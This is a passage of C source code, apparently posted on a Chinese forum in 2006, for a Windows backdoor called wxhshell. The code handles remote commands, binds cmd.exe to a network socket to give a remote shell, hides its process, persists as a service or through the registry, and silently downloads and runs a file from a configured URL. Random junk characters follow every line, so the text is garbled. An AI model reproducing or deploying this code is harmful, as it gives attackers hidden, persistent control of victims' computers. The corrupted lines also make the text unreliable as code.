  // 帮助 t"@|;uPAu  
  case '?': { LAjw!QB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |D_n4#X7u  
    break; jC }u>AB  
  } iegPEb  
  // 安装 U},W/g-  
  case 'i': { %li{VDb  
    if(Install()) PYRwcJ$b\d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *g_>eNpXD  
    else dL Py%q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=f5:8D<-  
    break; 9bYHb'70  
    } Boz_*l|  
  // 卸载 O9 r44ww  
  case 'r': { J'&? =|  
    if(Uninstall()) HrcnyQ`Q0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~ >rpG  
    else gA8 u E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *h8XbBZH  
    break; P6Ol+SI#m  
    } Y-9j2.{  
  // 显示 wxhshell 所在路径 pF{Ri  
  case 'p': { Z|7I }i  
    char svExeFile[MAX_PATH]; f#JF5>o  
    strcpy(svExeFile,"\n\r"); !{- 3:N7  
      strcat(svExeFile,ExeFile); x-P_}}K 79  
        send(wsh,svExeFile,strlen(svExeFile),0); ~1z8G>R  
    break; NxRiEe#m  
    } 1JY90l$ME  
  // 重启 t5[JN:an  
  case 'b': { J-,X0v"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J!qEj{  
    if(Boot(REBOOT)) @o.i2iG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .oOt(K +  
    else { }LVE^6zyk  
    closesocket(wsh); WxI]Fcb<  
    ExitThread(0); vTa23YDW  
    } 8IcQpn#  
    break; JC-yiORVr  
    } -CNv=vj 3  
  // 关机 yD'h5)yu  
  case 'd': { W5yu`Br  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); = ft$j  
    if(Boot(SHUTDOWN))  y3$\ m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @MVZy  
    else { c8 fb)`,k  
    closesocket(wsh); ;( Va_   
    ExitThread(0); W_lNvzag  
    } t$Ji{t-  
    break; }Qu 7o  
    } ~|jy$*m4A  
  // 获取shell 7"U,N;y  
  case 's': { xL#oP0d<e  
    CmdShell(wsh); Icb;Yzt  
    closesocket(wsh); v2<gkCK^  
    ExitThread(0); IWd*"\L  
    break; %&S]cEw  
  } 0|k[Wha#  
  // 退出 /9gMcn9EB  
  case 'x': { JVCgYY({KQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !I  P*  
    CloseIt(wsh); I!@` _Q9N  
    break; (8/xSOZ[  
    } |W[rywxx  
  // 离开 J@-9{<  
  case 'q': { @Kb~!y@G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }tq9 /\  
    closesocket(wsh); rkXSy g b  
    WSACleanup();  X0L{#U  
    exit(1); O  
    break; U5s]dUs (  
        } 'GT`% ck  
  } )^xmy6k  
  } 1a4$. {  
!0_Y@>2  
  // 提示信息 7hE=+V8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cM Kh+r  
} }z:=b8}  
  } 1Ez A@3:{  
M#,+p8  
  return; {[iQRYD0|  
} @K> Pw arl  
|bUmkw  
// shell模块句柄 z<XS"4l?W  
int CmdShell(SOCKET sock) g#NUo/  
{ x/v+7Pt_  
STARTUPINFO si; <FLc0s  
ZeroMemory(&si,sizeof(si)); q|\Cp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g*9>z)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AX?6Q4Gq1  
PROCESS_INFORMATION ProcessInfo; oDK\v8w-  
char cmdline[]="cmd"; 7qp|Msf},  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )f|6=x4  
  return 0; < ,n4|z)  
} WVFy ZpB  
}7^*%$  
// 自身启动模式 JE!Xf}nEi  
int StartFromService(void) ~<-h# B  
{ SJe;T  
typedef struct Nzt1JHRS  
{ SesO$=y  
  DWORD ExitStatus; J>&GP#7}  
  DWORD PebBaseAddress; 4(](' [M  
  DWORD AffinityMask; HX^ P9jXT  
  DWORD BasePriority; =2 5 "q Jr  
  ULONG UniqueProcessId; v-@@>?W-  
  ULONG InheritedFromUniqueProcessId; j$Co-b1  
}   PROCESS_BASIC_INFORMATION; p `Z7VG  
21Opx~T3  
PROCNTQSIP NtQueryInformationProcess; /GNYv*  
s4*,ocyBP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^\;5O(9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X[}%iEWzT  
ponvi42u  
  HANDLE             hProcess; (d\bSo$]  
  PROCESS_BASIC_INFORMATION pbi; Vh&KfYY  
|M&/( 0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2q bpjm  
  if(NULL == hInst ) return 0; $Vh82Id^  
kdq55zTc<6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9wzYDKN}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j/\XeG>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =<icHt6s  
N\$6R-L  
  if (!NtQueryInformationProcess) return 0; "a7d`l:  
:7zI!edu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 64cmv}d_  
  if(!hProcess) return 0; ;2~Q97c0  
;DpK* A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x~.U,,1  
Zl*!pQ  
  CloseHandle(hProcess); ~heF0C_  
bzS [X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _BV:i:z  
if(hProcess==NULL) return 0; s.R(3}/  
dE~ns ,+  
HMODULE hMod; wH.'EC  
char procName[255]; 3& $E  
unsigned long cbNeeded; ZVL0S{V-mh  
"-oC,;yq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E'}$'n?:  
.[! ^ L  
  CloseHandle(hProcess); |iI`p-L9  
_!ed.h.r:  
if(strstr(procName,"services")) return 1; // 以服务启动 ;K!Or  
pY@+.V`a  
  return 0; // 注册表启动 ;f?bb*1  
} kaLRI|hC  
L.'N'-BV  
// 主模块 l/5/|UE9  
int StartWxhshell(LPSTR lpCmdLine) ObUQB+  
{ i`X{pEKP+  
  SOCKET wsl; f~Su F,o@h  
BOOL val=TRUE; O(VV-n7U  
  int port=0; X"]ZV]7(]s  
  struct sockaddr_in door; 'n=D$j]X  
}Z|a?J@CZm  
  if(wscfg.ws_autoins) Install(); slbV[xR  
~F-,Q_|-  
port=atoi(lpCmdLine); >JhQ=j  
6{6tg>|L)  
if(port<=0) port=wscfg.ws_port; l)Hu.1~  
*!/9?M{p  
  WSADATA data; nHX@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n9%rjS$  
D+U^ pl-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,yoT3_%P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1,E/So   
  door.sin_family = AF_INET; x8^Dhpr6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9bB~r[k  
  door.sin_port = htons(port); &}oDSD H^,  
sgX~4W"J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K(?7E6\vO  
closesocket(wsl); TL5bX+  
return 1; #{(rOb6H)  
} 711 z-  
Ni`qU(I'|  
  if(listen(wsl,2) == INVALID_SOCKET) { 1/ HofiIa  
closesocket(wsl); Wd7*sa3T  
return 1; )-mB^7uXGv  
} 8dv1#F|  
  Wxhshell(wsl); 1/ a,7Hl  
  WSACleanup(); mEGMe@37  
.*Z]0~ &|  
return 0; .IqS}Rh  
A 6d+RAx  
} *\/UT  
B?]^}r  
// 以NT服务方式启动 `?)i/jko"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1DX=\BWp  
{ TS;MGi0`}  
DWORD   status = 0; y~\z_') <>  
  DWORD   specificError = 0xfffffff; B\6\QQ;rUo  
hE;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pJmn;XbME  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \%)p7PNY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ojaZC,}  
  serviceStatus.dwWin32ExitCode     = 0; B\Uj  
  serviceStatus.dwServiceSpecificExitCode = 0; gP} M\3-O  
  serviceStatus.dwCheckPoint       = 0; ,T]okN5uI  
  serviceStatus.dwWaitHint       = 0; $I.'7 &h;  
FY'f{gD^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 30<^0J.1  
  if (hServiceStatusHandle==0) return; bV"0}|A~K  
:KQ<rLd  
status = GetLastError(); uwbj`lpf  
  if (status!=NO_ERROR) 7"gy\_M  
{ t((0]j^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'F@'4[uda  
    serviceStatus.dwCheckPoint       = 0; OlP#|x*  
    serviceStatus.dwWaitHint       = 0; 8?PNyO-Wt5  
    serviceStatus.dwWin32ExitCode     = status; # RtrHm  
    serviceStatus.dwServiceSpecificExitCode = specificError; PKP( :3|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xd* kNY  
    return; ]8RcZn  
  } {h2D}F  
J~= =<?j:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TY? Fs-  
  serviceStatus.dwCheckPoint       = 0; +=||c \'  
  serviceStatus.dwWaitHint       = 0; g;-CAd5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H]SnM'Y  
} Agl[Z>Q  
zEu*q7  
// 处理NT服务事件,比如:启动、停止 4FYws5]$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NEX\+dtE~0  
{ ]1klfp,`  
switch(fdwControl) Ij" `pdp  
{ ~($h9* \  
case SERVICE_CONTROL_STOP: 6`4=!ZfI  
  serviceStatus.dwWin32ExitCode = 0; j}y"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; smSUo /  
  serviceStatus.dwCheckPoint   = 0; )#1@@\< ^T  
  serviceStatus.dwWaitHint     = 0; }%%| '8  
  { pBHr{/\5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u|+O%s TQ  
  } uoF9&j5E@Z  
  return; .uhP (  
case SERVICE_CONTROL_PAUSE: n#4Ra+dD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +~7@K{6 q-  
  break; _KKG^ u<  
case SERVICE_CONTROL_CONTINUE: *dGW=aM#C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,9=a(j"  
  break; !fZxK CsQ  
case SERVICE_CONTROL_INTERROGATE: NKRNEq!  
  break; LdA&F& pI  
}; gzeG5p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ra.<D.  
} <CeDIX t  
aaLT%  
// 标准应用程序主函数 p 5P<3(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pj^6.f+  
{ a 6[bF  
'y@0P5[se  
// 获取操作系统版本 6%:N^B=%}  
OsIsNt=GetOsVer(); =YI<L8@g~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Nw-|N.  
/KH3v!G0  
  // 从命令行安装 syMB~g  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8USF;k  
euQ d  
  // 下载执行文件 J3C"W7 94}  
if(wscfg.ws_downexe) { -V(5U! ^B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3HWI;  
  WinExec(wscfg.ws_filenam,SW_HIDE); E: #VS~  
} 7,Nd[ oL*7  
wF}/7b54  
if(!OsIsNt) { y;uk|#qnPS  
// 如果时win9x,隐藏进程并且设置为注册表启动 w_6h $"^x  
HideProc(); !YCYmxw#  
StartWxhshell(lpCmdLine); L[D}pL=  
} !x[ +rf  
else D/rKqPp|!  
  if(StartFromService()) {um~]  
  // 以服务方式启动 hmQD-E{Ab  
  StartServiceCtrlDispatcher(DispatchTable); _ u/N#*D  
else *Z Aue.  
  // 普通方式启动 #VtlXr>G  
  StartWxhshell(lpCmdLine); ?NJ\l5'  
&vo]l~.  
return 0; ;4%^4<+3  
}
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只看该作者 1 发表于: 2006-10-10
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